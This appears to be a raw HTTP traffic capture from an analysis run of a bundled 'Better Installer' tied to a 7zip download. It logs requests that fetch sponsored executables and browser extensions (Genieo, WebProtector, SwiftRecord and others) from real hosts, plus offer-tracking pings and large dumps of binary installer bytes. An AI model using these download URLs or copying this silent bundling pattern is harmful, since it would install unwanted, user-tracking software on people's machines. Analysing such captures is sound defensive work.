N..8...,.:$...0.E.xO.Q.....u.x....p_EL"Q............I............S...e
..ZGo} .p...N......A....'k}.#...g...|.`i.$.\yK.....q...e...\.BV.......
b...[....$.O^....z.....]u.........mJ.I`}..h..V^#.Q...%F_..y..u.....i..
.Od...w...%../0tA%$hZh.i.*.....A.-.k..W_I.Q....SW..m........nX.uK..E.p
...,..8.g.7.GGS.....l.(..,......................A.&|...x4....Q...{).).
..J...'..G.(...U~......v*W.........z...{..s....LL-,.e.q.:._{B.jdf6.]..
..'..{.y..&...o]Ur.X.q.....0.v..r*w..$.L....,.|R8.dr_}.l.z..iw\l...f..
..|.....t.xy. :M.D."*U........~hn._...............[V.........`.;w%..6.
.....Z..L.}L...s^.Mj..95:...`N.x...,.N.:8...,R..A../`.!L'...$.g,...6.3
....b.^o.40Gy.&m..T#..U>{v..4l.*.d%..8a...Q .4...D...1........>.
.:[email protected]..|H...{..2.^.... .~.4.^...\...........Q.. ......&fOE....=
.$...U.z.!h..h.J.1.7.1..*&t...t.......X.......r....}...^1.O......t...*
7.>...oIH.A.......0*.kB.0.P..}._....A.......JO........q..s..)......
[email protected].....}7n.k..Dv........y...........7.v.*)...Sk.
.,@.q=.MN.........,....,....<).......g...n..Kwh..G....Z..M....*. .F
\. Ep.dkp...hc3..ZTl.Vi....;...;...$...#...o..w...w.,.V.D.'6'#P..(..j.
..Pe..."=\.>[.o...O.d.s.B.{.E.[.R.:3.....%.r....0&@*.Z._.\e.Z.1..ik
qo `.n......Q2-:........-K.'.Y...S.m].:....a)na.x.#:[email protected]...$Q.
#._......Q`n.Wf(Z..y...O..;k%<...R.7Uk`E.w..1`).[(p{..C...uZ...})..
.L......(.....s/.H4.........@..`.g}..|.Q....7.....A.w]]...!....g..p./.
cA._v.....Y..=.~...J.....-......rBI....~.}.;`i.A...L....1=u....r..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 523264

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:09 GMT

Date: Wed, 22 Apr 2015 08:20:09 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......;.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?8bf43c53ed1949cb HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Content-Type: application/x-x509-ca-cert

Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT

Accept-Ranges: bytes

ETag: "05934e1494dd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 867

Date: Wed, 22 Apr 2015 08:24:42 GMT

Connection: keep-alive
0.._0..G.............!XS..0...*.H........0L1 0...U....GlobalSign Root 
CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...090318100000Z..29
0318100000Z0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.
0...U....GlobalSign0.."0...*.H.............0.........%v.y.x".......(..
.v....r.F.C....._$..K.`.F.R...Gpl.d...,...=. .......y.;..w...I.jb/.^..
h..'.8...>..&Y.s....&.....[...`.I.(.i;...(....aW7.t..t.:.r/.......=
...3.. .S.:.s..A. :......O..2`.W....hh.8&`u..w..... [email protected].^....w.
d.z._....b..l.Ti....n...qv.i.........B0@0...U...........0...U.......0.
...0...U........K...E$.MP.c.......0...*[email protected].
...A.....(.3.k.t...-..........sgJ..D{x..nlo.).39E....Wl.....S.-.$l..c.
.ShgV>...5!..h....S......]F...zX(./....7A..Dm.S(.~.g.........L'.L.s
sv.....z..-....,.<.U...~6..WI...-|`..AQ.#...2k.....,3.:;%..@.;,.x.a
/....Uo.....M.(.r..bPe.....1....GX?_HTTP/1.1 200 OK..Content-Type: app
lication/x-x509-ca-cert..Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT.
.Accept-Ranges: bytes..ETag: "05934e1494dd01:0"..Server: Microsoft-IIS
/7.5..X-Powered-By: ASP.NET..Content-Length: 867..Date: Wed, 22 Apr 20
15 08:24:42 GMT..Connection: keep-alive..0.._0..G.............!XS..0..
.*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1
.0...U....GlobalSign0...090318100000Z..290318100000Z0L1 0...U....Globa
lSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0.."0...*.
H.............0.........%v.y.x".......(...v....r.F.C....._$..K.`.F.R..
.Gpl.d...,...=. .......y.;..w...I.jb/.^..h..'.8...>..&Y.s....&.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 1bKQ6fn5iaqb1wYkKYSh3yN2kjlTzDU6yjpi7DE8tmk2x6OJe1JlupnrEBFefFIP

x-amz-request-id: 19EBAD4FF7CA509A

Date: Wed, 22 Apr 2015 08:23:52 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=27347-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 45575

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 27347-72921/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 62a3c406404f20e03d4564a8033763c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7T17tHsVQ1Sp8ICO5A4eyZPDmAK2RB0jSY1ryE9jUYZhJum8PKvg2A==

etSystemDirectoryA...GetVersion....GetProcAddress..KERNEL32.dll....End
Paint....DrawTextA...FillRect....GetClientRect...BeginPaint....DefWind
owProcA..;.SendMessageA....InvalidateRect....EnableWindow..*.ReleaseDC
...GetDC...LoadImageA....SetWindowLongA....GetDlgItem....IsWindow....F
indWindowExA.>.SendMessageTimeoutA...wsprintfA...ShowWindow..W.SetF
oregroundWindow...PostQuitMessage...SetWindowTextA..z.SetTimer..U.Crea
teDialogParamA....DestroyWindow...ExitWindowsEx.*.CharNextA...DialogBo
xParamA...GetClassInfoA.`.CreateWindowExA...SystemParametersInfoA...Re
gisterClassA....EndDialog.1.ScreenToClient..t.GetWindowRect...EnableMe
nuItem..\.GetSystemMenu.G.SetClassLongA...IsWindowEnabled...SetWindowP
os..Z.GetSysColor.n.GetWindowLongA..M.SetCursor...LoadCursorA.8.CheckD
lgButton..<.GetMessagePos...LoadBitmapA...CallWindowProcA...IsWindo
wVisible.B.CloseClipboard..J.SetClipboardData....EmptyClipboard....Ope
nClipboard...TrackPopupMenu....AppendMenuA.^.CreatePopupMenu.].GetSyst
emMetrics..S.SetDlgItemTextA...GetDlgItemTextA...MessageBoxIndirectA.-
.CharPrevA...DispatchMessageA....PeekMessageA..USER32.dll....SelectObj
ect..<.SetTextColor....SetBkMode.:.CreateFontIndirectA.).CreateBrus
hIndirect...DeleteObject..k.GetDeviceCaps...SetBkColor..GDI32.dll...SH
FileOperationA....ShellExecuteA...SHGetFileInfoA..y.SHBrowseForFolderA
....SHGetPathFromIDListA....SHGetSpecialFolderLocation..SHELL32.dll...
RegEnumValueA...RegEnumKeyA...RegQueryValueExA....RegSetValueExA....Re
gCreateKeyExA...RegCloseKey...RegDeleteValueA...RegDeleteKeyA...Re

<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.22397580442406895 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.1.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:22:43 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:22:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=1&index_in_screen=1&index_in_session=1&display_height=75&0.9800367547052495 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.6.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:24:25 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:24:25 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=1&index_in_screen=1&index_in_session=1&0.7716849296861856 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.6.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:24:30 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:24:30 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.2414930056970817 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.1.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:22:31 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:22:31 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=321583-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 964659

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:20:07 GMT

Content-Range: bytes 321583-1286241/1286329

X-Cache: Miss from cloudfront

Via: 1.1 3fe63ad2ae5f5b8c327f7cf3001228e0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: s3Xrh7NPEgc1K3VNhpqlp2lhBQKGVt_u6hmFfDGKV_9FhfBEuGMj5w==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 964659..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT..Accept-Ranges: bytes.
.ETag: "b8e31d44765d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Wed, 22 Apr 2015 08:20:07 GMT..Content-Range: bytes 32158
3-1286241/1286329..X-Cache: Miss from cloudfront..Via: 1.1 3fe63ad2ae5
f5b8c327f7cf3001228e0.cloudfront.net (CloudFront)..X-Amz-Cf-Id: s3Xrh7
NPEgc1K3VNhpqlp2lhBQKGVt_u6hmFfDGKV_9FhfBEuGMj5w==...`../r"k>F-O../
......I......(..vWPN.. ...J......."..j&.b.n.................V...O_.Zj.
..~4..T...}TMZ.....y.s.i.....G..b......[.x....,3....Q....%.'.M.m.}....
....j..E...........m......>.P....y.x".G.2c....}.'.Q.....eP../..... 
h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....t...^^!......g..X..
$.../...|..l...!.E..Q9..#.$.I...Y..<G............_.`TKq`....*...E.R
...h............H^A.W.2=....%m..9s...p..WS ...n....6_..U...d...N......
..*......aqj.......e......f...J.u.4...3...&j.=~..3..E..x.a....X..".G.J
.aQSF1..4.b..O...L.....a.[..,............8..!M.........#v..$..Gv}h../.
6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S....MOb....Y'E.0..\Ah.
9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"JmmVr....".o..n....
\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....$..L..5=k.q.....A.l
..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......{<.p.....=D.....
....W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N"P}O..U... .5.JZ..x
..>8..m......H....E...N...Y.._.\..x...S..<..*`=.@[email protected].....<<< skipped >>>

GET /node/?s=9813&br=4 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:08 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/LiveUpdateWPP_is.exe

0......

GET /c/LiveUpdateWPP_is.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:08 GMT

Content-Type: application/octet-stream

Content-Length: 270145

Last-Modified: Tue, 21 Apr 2015 16:43:17 GMT

Connection: keep-alive

ETag: "55367e25-41f41"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................^...|.......0.......p....@.........................
.................................................t..........8.........
...................................................................p..
.............................text....].......^.................. ..`.r
data.......p.......b..............@[email protected]..........
....@....ndata...................................rsrc...8............z
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /node/?s=9813&br=2 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:11 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../a/9813.xpi

0......

GET /a/9813.xpi HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:11 GMT

Content-Type: application/x-xpinstall

Content-Length: 39202

Last-Modified: Mon, 30 Mar 2015 12:17:50 GMT

Connection: keep-alive

ETag: "55193eee-9922"

Accept-Ranges: bytes
PK.........|}F..O.8...........chrome/content/main.js.W[o.H.~&R.....o)N
 .vU Z.1n..M6n.'.a...3...F ...a...i..~....;......[.Y$.c...]#..h.......
......Z.G[8...../....'......g>sW...g.W.'...CM........A.9%.).'..=...
.*\.g.../..M....S...p........v<.2./W..\.......z.Fa..2%.q......x..u.
....r".v....]....4...B.q..[>...n.....O...&{._..G.tI...b..;<.Y.y.
8.n.E....4.x*'..E..S.$..B.r..j$."..S...fF..i..H..!......~..OB.1....Gt3
 .E.......B.1......~.(%U.uv...W..tK\7t.S.....0...>...`F...P.r.u Y..
c.......2<........c.Y.E.. .WV..Z...v..eS.V.Q.....^MrK.%~.E.l.b...*l
n<..x..e...~....:2_.F...ja.UN>....5/y........*.t.....|...l....z.
.....`.&D....2..k. .O."......e....:[email protected]>.!zk<4......O.(..:2..
c"..I..E..Y;@..$*....BU.........jo.....ubo.Q....i|&..<....=..p.....
<...m...U......b,.2@.......<7..&.7.v.v1..-....`.6........L..o.t.
.[.../.....%&d o.K.......$...d:......%[email protected].`....&^
Q.;7...Rr.]ij.V...;.....r<...i. 3........^&{)....6......./L...O^..l
..?.,..5....._.]..k?.T..U...S..9./z...b...j...#.J.2.xf..G.D. 4...O...q
q....d..q......1...&if#......!=..U...%^.yO.....%......O......U.q..O.Yf
h..W-0.N$.M.e(.J.?(.......l...>[email protected].........|}
FF.a.............chrome/content/main.xul.TMo.0.='@....v.....d..t....C.
....... ..._?}8_.....d.......q.$9.uB....{[email protected]../_.O.......9.%...Ika
[......c=l...5j..^(.q...9Jp4PR..Y8G:.SJ>....26...n>...S.U..,i.hB
.....\..[,.K6........BJ..{.;..,.q.=......\.\ 9.....'.l...08.......5bC.
..<.)q.....V......V.KQ...G._......ws..".6......]>Y.;./..N.Z.<<< skipped >>>

GET /node/?s=9813&br=5 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:12 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/SetupWPP.exe

0......

GET /c/SetupWPP.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:12 GMT

Content-Type: application/octet-stream

Content-Length: 257237

Last-Modified: Sun, 22 Feb 2015 09:29:46 GMT

Connection: keep-alive

ETag: "54e9a18a-3ecd5"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........(............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...(............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /node/?s=9813&br=3 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:12 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/webprotector_chrome

0......

GET /c/webprotector_chrome HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:12 GMT

Content-Type: application/octet-stream

Content-Length: 32

Last-Modified: Thu, 22 Jan 2015 19:42:16 GMT

Connection: keep-alive

ETag: "54c15298-20"

Accept-Ranges: bytes

kfecnpmgnlnbmipaogfhoacoioifjgko....

GET /node/?s=9813&br=1 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:12 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/webprotector_installer.exe

0......

GET /c/webprotector_installer.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:12 GMT

Content-Type: application/octet-stream

Content-Length: 288140

Last-Modified: Tue, 31 Mar 2015 13:09:04 GMT

Connection: keep-alive

ETag: "551a9c70-4658c"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s...........C........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 200072

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 9391ad8b6b37ce57524439873a355ed0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8va8p3mNE3kSPlIU7j6Z7bL3KRTsvfL57bjrLNregzISgg2gePyXQg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
